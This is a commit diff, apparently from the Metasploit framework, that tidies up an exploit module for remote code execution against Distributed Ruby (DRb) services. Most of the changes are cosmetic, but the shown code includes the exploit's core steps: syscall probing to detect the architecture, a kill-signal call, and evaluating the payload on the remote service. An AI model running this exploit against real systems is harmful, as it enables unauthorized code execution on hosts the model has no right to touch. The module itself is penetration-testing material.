Clean up module
This commit is contained in:
@@ -10,8 +10,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Distributed Ruby Remote Code Execution',
|
||||
@@ -24,7 +22,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
[
|
||||
[ 'URL', 'http://www.ruby-doc.org/stdlib-1.9.3/libdoc/drb/rdoc/DRb.html' ],
|
||||
[ 'URL', 'http://blog.recurity-labs.com/archives/2011/05/12/druby_for_penetration_testers/' ],
|
||||
[ 'URL', 'http://bugkraut.de/posts/tainting']
|
||||
[ 'URL', 'http://bugkraut.de/posts/tainting' ]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Payload' =>
|
||||
@@ -35,7 +33,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Targets' => [
|
||||
['generic', {}],
|
||||
['Automatic', {}],
|
||||
],
|
||||
'DisclosureDate' => 'Mar 23 2011',
|
||||
'DefaultTarget' => 0))
|
||||
@@ -59,17 +57,15 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
# syscall to decide whether it's 64 or 32 bit:
|
||||
# it's getpid on 32bit which will succeed, and writev on 64bit
|
||||
# which will fail due to missing args
|
||||
pid = nil
|
||||
begin
|
||||
pid = p.send(:syscall, 20)
|
||||
p.send(:syscall, 37, pid, 23)
|
||||
rescue Errno::EBADF
|
||||
# 64 bit system
|
||||
pid = p.send(:syscall, 39)
|
||||
print_status "#{pid}"
|
||||
p.send(:syscall, 62, pid, 23)
|
||||
end
|
||||
p.send(:my_eval,payload.encoded)
|
||||
p.send(:my_eval, payload.encoded)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
Reference in New Issue
Block a user